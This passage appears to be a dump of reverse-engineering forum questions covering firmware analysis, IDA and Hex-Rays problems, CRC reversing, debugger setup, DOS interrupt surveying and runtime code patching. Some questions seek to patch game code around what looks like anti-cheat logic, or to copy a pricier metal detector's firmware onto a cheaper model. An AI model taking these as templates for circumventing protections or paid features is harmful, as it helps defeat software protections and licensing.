+9562672       0x91EA30        XML document, version: ""1.0""
+9565402       0x91F4DA        XML document, version: ""1.0""
+9565636       0x91F5C4        HTML document header
+9565701       0x91F605        HTML document footer
+9565872       0x91F6B0        Base64 standard index table
+9566150       0x91F7C6        HTML document header
+9566275       0x91F843        HTML document footer
+9566556       0x91F95C        HTML document header
+9566696       0x91F9E8        HTML document footer
+9566708       0x91F9F4        HTML document header
+9566738       0x91FA12        HTML document footer
+9567232       0x91FC00        XML document, version: ""1.0""
+9568484       0x9200E4        SHA256 hash constants, little endian
+9579171       0x922AA3        eCos RTOS string reference: ""ECOS_CmdLine""
+9579191       0x922AB7        eCos RTOS string reference: ""ECOS_Open""
+9580100       0x922E44        Unix path: /home/pluswang/nova/project-ecos/project-ecos/ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h
+9580128       0x922E60        eCos RTOS string reference: ""ecos/project-ecos/ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h""
+9580141       0x922E6D        eCos RTOS string reference: ""ecos/ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h""
+9580146       0x922E72        eCos RTOS string reference: ""ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h""
+9626164       0x92E234        Unix path: /cygdrive/d/Project/eCos/ecos-kit/ThirdParty/eCos/include/cyg/libc/time/time.inl
+9626184       0x92E248        eCos RTOS string reference: ""eCos/ecos-kit/ThirdParty/eCos/include/cyg/libc/time/time.inl""
+9626189       0x92E24D        eCos RTOS string reference: ""ecos-kit/ThirdParty/eCos/include/cyg/libc/time/time.inl""
+9626209       0x92E261        eCos RTOS string reference: ""eCos/include/cyg/libc/time/time.inl""
+9626400       0x92E320        PEM RSA private key
+9626596       0x92E3E4        PEM certificate
+9626700       0x92E44C        Private key in DER format (PKCS header length: 4, sequence length: 605
+9628092       0x92E9BC        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/infra/v2_0_60/src/pure.cxx
+9628112       0x92E9D0        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/infra/v2_0_60/src/pure.cxx""
+9628125       0x92E9DD        eCos RTOS string reference: ""ecos-2.0.6/packages/infra/v2_0_60/src/pure.cxx""
+9628292       0x92EA84        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/abort.cxx""
+9628305       0x92EA91        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/abort.cxx""
+9628432       0x92EB10        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/qsort.cxx""
+9628445       0x92EB1D        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/qsort.cxx""
+9644452       0x9329A4        HTML document header
+9644572       0x932A1C        HTML document footer
+9645052       0x932BFC        XML document, version: ""1.0""
+
+ +I also have a pretty good reason to believe the binary is not encrypted: + + +Any guidance or direction to resources would be extremely helpful, thanks in advance. +" +"['malware', 'android', 'dynamic-analysis']"," Title: Android dynamic UI state inspection/profiling toolBody: I am looking after for a command-line tool that can perform dynamic view hierarchy analysis similar to the UI tool in Android Studio https://developer.android.com/studio/debug/layout-inspector. + +Is there an existing tool for this? Or just some lower-level API that I can program to implement the tool. Thanks! +" +"['ida', 'decompilation', 'error']"," Title: IDA - How to resolve ""Write access to const memory detected"" error?Body: I'm trying to analyze a binary that I unpacked, rebuilt, and dumped, using Scylla. After loading it into IDA and viewing pseudocode, I can see that there are errors where IDA tells me that it notices writes to constant memory addresses. After some searching online, I find that this seems quite common, but I haven't really come across a solution for fixing it, and I've just tried to ignore it up to now. + + + + + +At first, I tried to just change all my segments to have write access, but that didn't seem to change anything. 0x007F944F is the first memory error. + +Would anyone mind telling me how I go about to solve this? Thank you. + +EDIT: Here is the entire disassembly of that function: + +
.MPRESS1:007F93F2                     align 10h
+.MPRESS1:007F9400
+.MPRESS1:007F9400     ; =============== S U B R O U T I N E =======================================
+.MPRESS1:007F9400
+.MPRESS1:007F9400     ; Attributes: bp-based frame
+.MPRESS1:007F9400
+.MPRESS1:007F9400     sub_7F9400      proc near               ; CODE XREF: Stool__ctor+6F↑p
+.MPRESS1:007F9400                                             ; Stool__ctor+91↑p ...
+.MPRESS1:007F9400
+.MPRESS1:007F9400     a3              = dword ptr  8
+.MPRESS1:007F9400     u0              = dword ptr  0Ch
+.MPRESS1:007F9400
+.MPRESS1:007F9400 000                 push    ebp
+.MPRESS1:007F9401 004                 mov     ebp, esp
+.MPRESS1:007F9403 004                 cmp     ds:lpParameter, 0
+.MPRESS1:007F940A 004                 jz      short loc_7F9410
+.MPRESS1:007F940C 004                 xor     eax, eax
+.MPRESS1:007F940E 004                 pop     ebp
+.MPRESS1:007F940F 000                 retn
+.MPRESS1:007F9410     ; ---------------------------------------------------------------------------
+.MPRESS1:007F9410
+.MPRESS1:007F9410     loc_7F9410:                             ; CODE XREF: sub_7F9400+A↑j
+.MPRESS1:007F9410 004                 push    esi             ; a2
+.MPRESS1:007F9411 008                 push    offset sub_7F49C0 ; lpTopLevelExceptionFilter
+.MPRESS1:007F9416 00C                 call    ds:SetUnhandledExceptionFilter
+.MPRESS1:007F941C 008                 push    3DA4h           ; size_t
+.MPRESS1:007F9421 00C                 mov     esi, eax        ; a2
+.MPRESS1:007F9423 00C                 call    ??2@YAPAXI@Z    ; operator new(uint)
+.MPRESS1:007F9428 00C                 add     esp, 4
+.MPRESS1:007F942B 008                 test    eax, eax
+.MPRESS1:007F942D 008                 jz      short loc_7F9438
+.MPRESS1:007F942F 008                 mov     ecx, eax
+.MPRESS1:007F9431 008                 call    StoolGuard__ctor
+.MPRESS1:007F9436 008                 jmp     short loc_7F943A
+.MPRESS1:007F9438     ; ---------------------------------------------------------------------------
+.MPRESS1:007F9438
+.MPRESS1:007F9438     loc_7F9438:                             ; CODE XREF: sub_7F9400+2D↑j
+.MPRESS1:007F9438 008                 xor     eax, eax
+.MPRESS1:007F943A
+.MPRESS1:007F943A     loc_7F943A:                             ; CODE XREF: sub_7F9400+36↑j
+.MPRESS1:007F943A 008                 push    [ebp+a3]        ; a2
+.MPRESS1:007F943D 00C                 mov     ecx, eax        ; a1
+.MPRESS1:007F943F 00C                 mov     ds:lpParameter, eax
+.MPRESS1:007F9444 00C                 call    sub_7F6610
+.MPRESS1:007F9449 008                 mov     ecx, ds:lpParameter
+.MPRESS1:007F944F 008                 mov     [ecx+10h], eax
+.MPRESS1:007F9452 008                 cmp     eax, 755h
+.MPRESS1:007F9457 008                 jz      short loc_7F9460
+.MPRESS1:007F9459 008                 call    sub_7F4B00
+.MPRESS1:007F945E 008                 jmp     short loc_7F9476
+.MPRESS1:007F9460     ; ---------------------------------------------------------------------------
+.MPRESS1:007F9460
+.MPRESS1:007F9460     loc_7F9460:                             ; CODE XREF: sub_7F9400+57↑j
+.MPRESS1:007F9460 008                 cmp     ds:byte_8EB238, 0
+.MPRESS1:007F9467 008                 jz      short loc_7F9476
+.MPRESS1:007F9469 008                 push    offset byte_8EB238 ; lpString
+.MPRESS1:007F946E 00C                 call    SToolGameGuard__Nop3
+.MPRESS1:007F9473 00C                 add     esp, 4
+.MPRESS1:007F9476
+.MPRESS1:007F9476     loc_7F9476:                             ; CODE XREF: sub_7F9400+5E↑j
+.MPRESS1:007F9476                                             ; sub_7F9400+67↑j
+.MPRESS1:007F9476 008                 mov     eax, ds:lpParameter
+.MPRESS1:007F947B 008                 mov     eax, [eax+18h]
+.MPRESS1:007F947E 008                 test    eax, eax
+.MPRESS1:007F9480 008                 jz      short loc_7F9489
+.MPRESS1:007F9482 008                 push    eax             ; hEvent
+.MPRESS1:007F9483 00C                 call    ds:SetEvent
+.MPRESS1:007F9489
+.MPRESS1:007F9489     loc_7F9489:                             ; CODE XREF: sub_7F9400+80↑j
+.MPRESS1:007F9489 008                 mov     eax, ds:lpParameter
+.MPRESS1:007F948E 008                 mov     eax, [eax+1Ch]
+.MPRESS1:007F9491 008                 test    eax, eax
+.MPRESS1:007F9493 008                 jz      short loc_7F949E
+.MPRESS1:007F9495 008                 push    0               ; uExitCode
+.MPRESS1:007F9497 00C                 push    eax             ; hProcess
+.MPRESS1:007F9498 010                 call    ds:TerminateProcess
+.MPRESS1:007F949E
+.MPRESS1:007F949E     loc_7F949E:                             ; CODE XREF: sub_7F9400+93↑j
+.MPRESS1:007F949E 008                 test    esi, esi
+.MPRESS1:007F94A0 008                 jz      short loc_7F94A9
+.MPRESS1:007F94A2 008                 push    esi             ; lpTopLevelExceptionFilter
+.MPRESS1:007F94A3 00C                 call    ds:SetUnhandledExceptionFilter
+.MPRESS1:007F94A9
+.MPRESS1:007F94A9     loc_7F94A9:                             ; CODE XREF: sub_7F9400+A0↑j
+.MPRESS1:007F94A9 008                 mov     eax, ds:lpParameter
+.MPRESS1:007F94AE 008                 pop     esi
+.MPRESS1:007F94AF 004                 mov     eax, [eax+10h]
+.MPRESS1:007F94B2 004                 pop     ebp
+.MPRESS1:007F94B3 000                 retn
+.MPRESS1:007F94B3     sub_7F9400      endp
+.MPRESS1:007F94B3
+.MPRESS1:007F94B3     ; ---------------------------------------------------------------------------
+
+" +['firmware']," Title: Is it possible to reverse engineer a minelab metal detector?Body: Minelab have a metal detector called the equinox, there are 2 models which are essentially the same apart from the price. + +The minelab equinox 600 is the cheaper model +The minelab equinox 800 is the more expensive model + +Would there be away to copy the 800 software and put it onto the 600? + +minelab have released 3 updates over the last 6 months, it could be possible to dump the 800 firmware and load onto the 600? this could save the user £200+ between models. + +I wondered if anyone has ever done anything like this with a metal detector? + +I have a 600 and my friend have the 800 if anyone knows how i could dump the firmware from both and compare them. +" +"['serial-communication', 'crc']"," Title: Reverse engineering the IBM BSC (Bisync) protocolBody: I am trying to connect to an old piece of communication controller which use the IBM BSC synchronous protocol but I have problems to get the CRC right. + +Background + +The protocol itself is described quite well in this document: + +http://bitsavers.trailing-edge.com/pdf/ibm/datacomm/GA27-3004-2_General_Information_Binary_Synchronous_Communications_Oct70.pdf + +The sending communication processor is using the Motorola MC6852 chip. But the chip doesn't have hardware crc circuitry so there are software inside the comm. processor that does crc. + +The actual communication controller is described here: http://storage.datormuseum.se/u/96935524/Datormusuem/Alfaskop/Alfaskop_System_41_Reference_Manual_IBM3270_Emulation.pdf + +Page 89 and onwards describes its use of BSC. + +Then since this piece of equipment is IBM 3274 model C compatible this manual is applicable: http://bitsavers.informatik.uni-stuttgart.de/pdf/ibm/3274/GA23-0061-1_3274_Control_Unit_Description_and_Programmers_Guide_Jan84.pdf + +Page 159 and onwards has essentially the same information as the other document. + +Actual Messages + +I have captured two messages sent by actual communication processor. Please note that the messages are coded in EBCDIC and not ASCII. These are responses to a POLL message. Page 172 and 175 in the IBM document above: + +32 01 6C D9 02 40 40 40 70 03 26 88 +and +32 01 6C D9 02 40 C8 40 50 03 0D 28 + +From my reading of the IBM document the CRC algorithm will reset when it sees a 01 (SOH) or 02 (STX) and then accumulate until it sees a 03 (ETX). A SOH followed by a STX will not reset CRC again at the STX, though. Essentially this means that the CRC bytes in the messages above are the 2688 and 0D28. There is a leading SYN (32) but that is not included in the CRC calculation since it is before the SOH character. The message used for CRC calculation is then: +6C D9 02 40 40 40 70 03 and 6C D9 02 40 C8 40 50 03 respectively. The SOH is not part of the calculation, however the trailing ETX just before the CRC is part of the CRC calculation. + +The messages above are received by an Intel 8274 chip. No CRC checking was done in the Intel chip though. + +Since the Intel 8274 chip do include a CRC checker/generator I should be able to both generate correctly formatted messages and to receive messages for further checking and investigation. I will pursue this path a bit to see if I could both receive and send using the 8274 chip and what CRC values that are generated. + +The 8274 chip itself supports two CRC algorithms. CRC-16 and CCITT CRC-16. My understanding is that IBM used CRC-16 with the polynomial X^16+X^15+X^2+1. I.e 8005. What initial value for crc was used is not described anywhere what I can see. A good guess though would be 0000h or possibly ffffh. + +The situation is that I would like to use a small STM32 micro controller to handle the BSC communications. I successfully had the program to achieve sync with the incoming data and extracted correctly formatted messages. But obviously communication would not work unless I can get the CRC calculation correct. WIP: https://github.com/MattisLind/alfaskop_emu/tree/master/Utils/BSCGateway + +CRC reveng troubles + +I have tried crc reveng tool to calculate CRC digits but I cannot get a match with the data above. Neither can I use crc reveng to search for an algorithm. It constantly reports that no models where found. + +Generating CRC using crc reveng with above messages as data in and polynomial 8005 doesn't give the corresponding output CRC data. I tried several initial values for CRC and also tested various variants of options for bit order but no match. + +Then I tried a few CRC algorithms in C found on internet. They all gave the same CRC value on the above messages but non of them matched the values in the messages neither the output from crc reveng. + +It is very likely that I have done something wrong when applying crc reveng, but I cannot figure out what. + +Another test of crc reveng + +Just to get a better understanding of crc reveng I tried a sample message where the input data buffer, initial CRC value and output CRC value was well known: https://stackoverflow.com/questions/23638939/crc-16-ibm-reverse-lookup-in-c + +The code in the first answer by Mark Adler give a result which is matching what is mentioned in the Maxim article. But I cannot recreate it in crc reveng, unfortunately. + +Hints on what I am doing wrong, please! +" +"['ida', 'c++', 'hexrays', 'decompiler']"," Title: IDA Hex-Rays structure inline functions recognitionBody: I've seen multiple posts about the subject, but mine is a little bit more specific about what I want to achieve. + +I have many times situations where Hex-Rays decompiler outputs 16 lines of code and I know this is a call to a inline structure function. + +So the first step, I convert those 16 lines of code to a structure (i.e Matrix) which makes it a little bit more clear to understand what's happening + +Then I'm stuck where I want to make it show as 1 line, which will call to the underline inline structure function Identity(). + +So those 16 lines of code: + + + +Would show as s_mtx.Identity() or maybe Identity(s_mtx) + +Is that even possible doing it within HexRays decompiler? Maybe some script I can write to do that? + +This gets really tedious when you have a function with many matrix multiplications, vectors etc... + +Maybe @IgorSkochinsky? + +Thanks a lot in advance! +" +"['ida', 'decompilation', 'type-reconstruction']"," Title: Type reconstruction ambiguityBody: In TIE: Principled Reverse Engineering of Types in Binary Programs, Lee J. et al claim to solve most of the challenges in the process of C code decompilation that come with type reconstruction. + +While producing a complex type where maybe a void * could fit is definitely non-trivial, I was just thinking about a possible type recovery ambiguity for what merely concerns a variable of type int or int *. + + + +
int foo(int *a, int sz) {
+    int res = 0;
+    for (int *q = a; q < &a[sz]; q++)
+        res += *q;
+    return res;
+}
+
+ +In 32-bit architectures, the above code shows an example of such ambiguity for variable res, as both int and int * are compatible with a 32-bit register, and the disassembled code is the same. If res was a pointer though, it would be improperly used since we would be returning the address of an automatic variable (and would lead to undefined behaviour). + +So can this example really be taken into account (is a valid instance)? Can you come up with an example where these two types generate ambiguity but are correctly used? Can we conclude that a variable can be inferred to be a pointer or not if it just gets dereferenced? +" +['debuggers']," Title: Evan's debugger (edb) - Failed to open and attach to process: execv() failed: No such file or directoryBody:

Problem:

+ +When I try to open an executable (in this case exploit exercises protostar stack0), then the following message appears in a pop-up box: + +Failed to open and attach to process: execv() failed: No such file or directory. + +and I am unable to open any files because of this. + +Terminal output: + +
osboxes@osboxes:~/tools/edb-debugger/build$ ./edb --run ~/proto/bin/stack0 
+Icon theme ""elementary"" not found.
+Starting edb version: 1.1.0
+Please Report Bugs & Requests At: https://github.com/eteran/edb-debugger/issues
+Running Terminal:  ""/usr/bin/xterm""
+Terminal Args:  (""-title"", ""edb output"", ""-hold"", ""-e"", ""sh"", ""-c"", ""tty > /tmp/edb_temp_file_787768528_7578;trap \""\"" INT QUIT TSTP;exec<&-; exec>&-;while :; do sleep 3600; done"")
+Terminal process has TTY:  ""/dev/pts/5""
+comparing versions: [4352] [4352]
+
+ +At first I installed edb using apt-get. This problem occurred. Then I uninstalled and installed it manually from the source code (and fixed the segmentation fault issue by changing the plugins directory). The problem remains. It doesn't matter if I use --run or try to open it from the GUI. + +

Version info

+ +I'm using Lubuntu. Linux 5.3.0-18. It's a VM downloaded from OSBoxes. +" +"['disassembly', 'windows', 'memory', 'patching', 'injection']"," Title: Executable code in the same location differs in memory and on diskBody: I'm trying to inject code to change the byte value of a CMP in an executable from 0 to 2 at runtime, in order to effectively no-op a boolean comparison as part of an effort to insert my own behavior. I have the offset of that single 0x00 byte in the file, as well as what I had thought was its virtual address - the file offset + the image base + the virtual address of the .text section. + +However, I was surprised by the fact that when I looked at this virtual address at runtime, I was in a completely different place in the code, in the middle of a bunch of 0xCC bytes. + +Looking at it more, I found out that in general my presumed virtual addresses are inconsistent. For example, here's a few opcodes at virtual address 0x00ebf5e0 (offset + imagebase + .text virtualaddr) as displayed by Ghidra: + +
55                push ebp
+8B EC             mov  ebp, esp
+83 EC 1C          sub  esp, 0x1c
+A1 90 74 43 01    mov  eax, dword ptr [0x1437490]
+33 C5             xor  eax, ebp
+89 45 FC          mov  dword ptr [ebp - 4], eax
+
+ +And here is a few opcodes dumped in memory, by directly reading from the same address ((unsigned int8_t*)0x00ebf5e0): + +
8B 01             mov  eax, dword ptr [ecx]
+89 45 F8          mov  dword ptr [ebp - 8], eax
+89 5D E4          mov  dword ptr [ebp - 0x1c], ebx
+83 FB 10          cmp  ebx, 0x10
+72 04             jb   0x11
+8B 3E             mov  edi, dword ptr [esi]
+EB 02             jmp  0x13
+8B FE             mov  edi, esi
+
+ +I've tried pretty much anything I could - directly addressing, obtaining the image base pointer through psapi.h GetModuleInformation (which unsurprisingly turned out to be equal to 0x400000), including and not including the 0x1000 (.text vaddr), etc. The only interesting result this has brought is that at the very start of the image base, the bytes and opcodes do in fact check out - which has me thinking that this issue has something to do with alignment. + +Note: As per dumpbin, the executable has relocations stripped. It is also 32 bit. +" +"['disassembly', 'assembly', 'c++', 'memory']"," Title: Byte-patch a JMPBody: I have an address and I want to byte-patch it because there is a JMP that I want to block. But when I NOP it, the game just crash because it corrupt the function. So, I don't know what to do for block the JMP with a byte-patch. +There is a screen of the address below. +Thanks in advance ! +" +"['assembly', 'c', 'disassemblers']"," Title: High-level language decompiler on WIndowsBody: So I have been using Binary ninja and I was wondering if there was any other tool except IDA or any binary ninja plugin that would transform assembly code into high level code, I already tried binja-retdec and retdec-offline. Both of them don't work giving me a thread run error or a file generation error, any idea? +" +"['assembly', 'linux', 'c', 'buffer-overflow']"," Title: Performing Buffer overflow in LinuxBody: I have buffer overflow in a program i check(it is an array of pointers, and i can overflow the data in the first pointer), but the data i can write is not on the stack, it is on a space the system allocated(it does not have name in /proc{id}/maps). and it is not the heap. +Is there any option to perform code execution via this scenario ? +As well as, is there option to overflow different segments ? + +Thanks, +" +"['decompile', 'decompiler']"," Title: Need to decompile executable from Openwrt ELF 32-bitBody: what best tool to use to decompile executable from Openwrt image +ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header ? +binnary file I have in my GIT repo if anybody want a quick look: +https://github.com/Egyras/MyOpenhab/blob/master/a2wmain +" +"['disassembly', 'dos', 'dos-exe']"," Title: Within A Folder of 100s of 16-bit MS-DOS Disassembled EXEs Identify Ones That Need/Use DOS/4GWBody: So far I batch disassembled all files using following PowerShell and IDA: + +
$files = Get-Content S:\files.txt
+ForEach ($file in $files)
+{
+    Write-Host ""Processing $file""
+    &""C:\Program Files\IDA Pro 7.4\ida.exe"" -B $file 
+}
+
+ +I then did a simple processing to try and identify DOS APIs used: + +
$files = Get-ChildItem -Path S:\ -Filter *.asm -Recurse
+
+$ApiNames = @()
+
+ForEach ($file in $files)
+{
+    Write-Host ""Processing $file""
+    $content = Get-Content $file.Fullname 
+    $APIs = $content | Where-Object { $_.Contains(""                int     "") }
+    ForEach($API in $APIs)
+    {
+        if ($API.Contains("";""))
+        {
+            $split = $API.Split("";"").Trim().Replace(""     "", "" "")
+            $ApiName = ""$($split[0]) - $($split[1])""
+            $ApiName = $ApiName.Replace(""- -"",""-"").Trim()
+            if ($apiName -eq ""int 3 - software interrupt to invoke the debugger"") { $apiName = ""int 3 - Trap to Debugger"" }
+            if (!$ApiName.EndsWith("" -""))
+            {
+                if (!$ApiNames.Contains($ApiName))
+                {
+                    $ApiNames += $ApiName
+                }
+            }
+        }
+    }
+
+}
+
+$SortedApiNames = $ApiNames | Sort-Object
+
+$table = New-Object System.Data.DataTable
+
+$table.Columns.Add(""Process"")
+ForEach ($ApiName in $SortedApiNames)
+{
+    $table.Columns.Add($ApiName)
+}
+
+ForEach ($file in $files)
+{
+    Write-Host ""Processing $file""
+    $content = Get-Content $file.Fullname 
+    $APIs = $content | Where-Object { $_.Contains(""                int     "") }
+    $row = @()
+    $row+= $file.FullName
+    $ApiList = @()
+    ForEach($API in $APIs)
+    {
+        if ($API.Contains("";""))
+        {
+            $split = $API.Split("";"").Trim().Replace(""     "", "" "")
+            $ApiName = ""$($split[0]) - $($split[1])""
+            $ApiName = $ApiName.Replace(""- -"",""-"").Trim()
+            if ($apiName -eq ""int 3 - software interrupt to invoke the debugger"") { $apiName = ""int 3 - Trap to Debugger"" }
+            $ApiList+=$ApiName
+        }
+    }
+
+    For($i=1;$i -lt $table.Columns.Count;$i++)
+    {
+        if ($ApiList.Contains($table.Columns[$i].ColumnName))
+        {
+            $row+= ""Yes""
+        }
+        else
+        {
+            $row+=""No""
+        }
+    }
+
+    $table.Rows.Add($row)
+
+}
+
+$table | Export-Csv -NoTypeInformation APIUse.csv
+
+ +This identified the following interrupt calls used: + +
int 0C7h - used by BASIC while in interpreter
+int 0Dh - IRQ5 - FIXED DISK (PC), LPT2 (AT/PS)
+int 0E4h - used by BASIC while in interpreter
+int 0Fh - IRQ7 - PRINTER INTERRUPT
+int 10h - VIDEO - ALTERNATE FUNCTION SELECT (PS, EGA, VGA, MCGA) - GET EGA INFO
+int 10h - VIDEO - DISPLAY COMBINATION (PS,VGA/MCGA): read display combination code
+int 10h - VIDEO - GET CURRENT VIDEO MODE
+int 10h - VIDEO - GET INDIVIDUAL PALETTE REGISTER (VGA)
+int 10h - VIDEO - INSTALLATION CHECK (Video7 VGA,VEGA VGA)
+int 10h - VIDEO - Microsoft Mouse driver EGA support - WRITE ONE REGISTER
+int 10h - VIDEO - READ ATTRIBUTES/CHARACTER AT CURSOR POSITION
+int 10h - VIDEO - READ CURSOR POSITION
+int 10h - VIDEO - READ INDIVIDUAL DAC REGISTER (EGA, VGA/MCGA)
+int 10h - VIDEO - SCROLL PAGE UP
+int 10h - VIDEO - SELECT DISPLAY PAGE
+int 10h - VIDEO - SET CURSOR CHARACTERISTICS
+int 10h - VIDEO - SET CURSOR POSITION
+int 10h - VIDEO - SET INDIVIDUAL DAC REGISTER (EGA, VGA/MCGA)
+int 10h - VIDEO - SET VIDEO MODE
+int 10h - VIDEO - WRITE ATTRIBUTES/CHARACTERS AT CURSOR POSITION
+int 10h - VIDEO - WRITE CHARACTERS ONLY AT CURSOR POSITION
+int 11h - EQUIPMENT DETERMINATION
+int 15h - Get Extended Memory Size
+int 15h - SYSTEM - GET CONFIGURATION (XT after 1/10/86,AT mdl 3x9,CONV,XT286,PS)
+int 16h - KEYBOARD - CHECK BUFFER, DO NOT CLEAR
+int 16h - KEYBOARD - GET SHIFT STATUS
+int 16h - KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
+int 1Ah - CLOCK - GET TIME OF DAY
+int 20h - DOS - PROGRAM TERMINATION
+int 21h - DOS - 2+ - ADJUST MEMORY BLOCK SIZE (SETBLOCK)
+int 21h - DOS - 2+ - ALLOCATE MEMORY
+int 21h - DOS - 2+ - CHANGE THE CURRENT DIRECTORY (CHDIR)
+int 21h - DOS - 2+ - CLOSE A FILE WITH HANDLE
+int 21h - DOS - 2+ - CREATE A FILE WITH HANDLE (CREAT)
+int 21h - DOS - 2+ - CREATE A SUBDIRECTORY (MKDIR)
+int 21h - DOS - 2+ - CREATE DUPLICATE HANDLE (DUP)
+int 21h - DOS - 2+ - DELETE A FILE (UNLINK)
+int 21h - DOS - 2+ - FIND FIRST ASCIZ (FINDFIRST)
+int 21h - DOS - 2+ - FIND NEXT ASCIZ (FINDNEXT)
+int 21h - DOS - 2+ - FORCE DUPLICATE HANDLE (FORCDUP,DUP2)
+int 21h - DOS - 2+ - FREE MEMORY
+int 21h - DOS - 2+ - GET COUNTRY-DEPENDENT INFORMATION
+int 21h - DOS - 2+ - GET CURRENT DIRECTORY
+int 21h - DOS - 2+ - GET DISK SPACE
+int 21h - DOS - 2+ - GET EXIT CODE OF SUBPROGRAM (WAIT)
+int 21h - DOS - 2+ - GET FILE ATTRIBUTES
+int 21h - DOS - 2+ - GET FILE'S DATE/TIME
+int 21h - DOS - 2+ - GET INTERRUPT VECTOR
+int 21h - DOS - 2+ - GET VERIFY FLAG
+int 21h - DOS - 2+ - IOCTL - GET DEVICE INFORMATION
+int 21h - DOS - 2+ - IOCTL - READ CHARACTER DEVICE CONTROL STRING
+int 21h - DOS - 2+ - IOCTL - SET DEVICE INFORMATION
+int 21h - DOS - 2+ - LOAD OR EXECUTE (EXEC)
+int 21h - DOS - 2+ - MOVE FILE READ/WRITE POINTER (LSEEK)
+int 21h - DOS - 2+ - OPEN DISK FILE WITH HANDLE
+int 21h - DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
+int 21h - DOS - 2+ - READ FROM FILE WITH HANDLE
+int 21h - DOS - 2+ - REMOVE A DIRECTORY ENTRY (RMDIR)
+int 21h - DOS - 2+ - RENAME A FILE
+int 21h - DOS - 2+ - SET FILE ATTRIBUTES
+int 21h - DOS - 2+ - SET FILE'S DATE/TIME
+int 21h - DOS - 2+ - WRITE TO FILE WITH HANDLE
+int 21h - DOS - 2+ internal - GET LIST OF LISTS
+int 21h - DOS - 2+ internal - GET SWITCHAR/AVAILDEV
+int 21h - DOS - 2+ internal - RETURN CritSectFlag (InDOS) POINTER
+int 21h - DOS - 2+ internal - SET PSP SEGMENT
+int 21h - DOS - 3.1+ internal - GET ADDRESS OF DOS SWAPPABLE DATA AREA
+int 21h - DOS - 3+ - CREATE NEW FILE
+int 21h - DOS - 3+ - GET EXTENDED ERROR CODE
+int 21h - DOS - 3+ - GET PSP ADDRESS
+int 21h - DOS - 4.0 - EXTENDED OPEN/CREATE
+int 21h - DOS - BUFFERED KEYBOARD INPUT
+int 21h - DOS - CLEAR KEYBOARD BUFFER
+int 21h - DOS - DIRECT CONSOLE I/O CHARACTER OUTPUT
+int 21h - DOS - DIRECT STDIN INPUT, NO ECHO
+int 21h - DOS - DISK RESET
+int 21h - DOS - DISPLAY OUTPUT
+int 21h - DOS - DOS 2+ - TERMINATE BUT STAY RESIDENT
+int 21h - DOS - DOS v??? - OEM FUNCTION
+int 21h - DOS - EXTENDED CONTROL-BREAK CHECKING
+int 21h - DOS - GET ALLOCATION TABLE INFORMATION FOR SPECIFIC DRIVE
+int 21h - DOS - GET CURRENT DATE
+int 21h - DOS - GET CURRENT TIME
+int 21h - DOS - GET DEFAULT DISK NUMBER
+int 21h - DOS - GET DISK TRANSFER AREA ADDRESS
+int 21h - DOS - GET DOS VERSION
+int 21h - DOS - KEYBOARD INPUT
+int 21h - DOS - KEYBOARD INPUT, NO ECHO
+int 21h - DOS - Novell Advanced NetWare 2.0+ - FILE SERVER FILE COPY
+int 21h - DOS - PARSE FILENAME
+int 21h - DOS - PRINT STRING
+int 21h - DOS - SELECT DISK
+int 21h - DOS - SET CURRENT DATE
+int 21h - DOS - SET CURRENT TIME
+int 21h - DOS - SET DISK TRANSFER AREA ADDRESS
+int 21h - DOS - SET INTERRUPT VECTOR
+int 21h - DOS - SET VERIFY FLAG
+int 2Fh - Multiplex - MS WINDOWS -  3+ - BEGIN CRITICAL SECTION
+int 2Fh - Multiplex - MS WINDOWS - ENHANCED WINDOWS INSTALLATION CHECK
+int 2Fh - Multiplex - MS WINDOWS - Mode Interface - INSTALLATION CHECK
+int 2Fh - Multiplex - XMS - GET DRIVER ADDRESS
+int 2Fh - Multiplex - XMS - INSTALLATION CHECK
+int 3 - Trap to Debugger
+int 31h - DPMI Services   ax=func xxxxh
+int 33h - MS MOUSE - DEFINE DOUBLE-SPEED THRESHOLD
+int 33h - MS MOUSE - DEFINE INTERRUPT SUBROUTINE PARAMETERS
+int 33h - MS MOUSE - DEFINE SCREEN REGION FOR UPDATING
+int 33h - MS MOUSE - DEFINE TEXT CURSOR
+int 33h - MS MOUSE - HIDE MOUSE CURSOR
+int 33h - MS MOUSE - POSITION MOUSE CURSOR
+int 33h - MS MOUSE - READ MOTION COUNTERS
+int 33h - MS MOUSE - RESET DRIVER AND READ STATUS
+int 33h - MS MOUSE - RESTORE DRIVER STATE
+int 33h - MS MOUSE - RETURN DRIVER STORAGE REQUIREMENTS
+int 33h - MS MOUSE - RETURN POSITION AND BUTTON STATUS
+int 33h - MS MOUSE - SAVE DRIVER STATE
+int 33h - MS MOUSE - SHOW MOUSE CURSOR
+int 3Fh - Overlay manager interrupt
+int 48h - PCjr - Cordless Keyboard Translation
+int 67h - LIM EMS - GET HANDLE AND ALLOCATE MEMORY
+int 67h - LIM EMS - GET NUMBER OF PAGES
+int 67h - LIM EMS - GET PAGE FRAME SEGMENT
+int 67h - LIM EMS - MAP MEMORY
+int 67h - LIM EMS - RELEASE HANDLE AND MEMORY
+int 67h - LIM EMS 4.0 - REALLOCATE PAGES
+int 67h - LIM EMS Program Interface - FREE 4K PAGE
+int 67h - LIM EMS Program Interface - GET 8259 INTERRUPT VECTOR MAPPINGS
+int 67h - LIM EMS Program Interface - GET PROTECTED MODE INTERFACE
+int 67h - LIM EMS Program Interface - INSTALLATION CHECK
+int 67h - LIM EMS Program Interface - SWITCH TO PROTECTED MODE
+int 75h - IRQ13 - AT/XT286/PS50+ - 80287 ERROR
+int 7Ah - Novell NetWare to v2.0a - LOW-LEVEL API
+int 89h - used by BASIC while in interpreter
+int 8Ch - used by BASIC while in interpreter
+int 91h - used by BASIC while in interpreter
+int 98h - used by BASIC while in interpreter
+
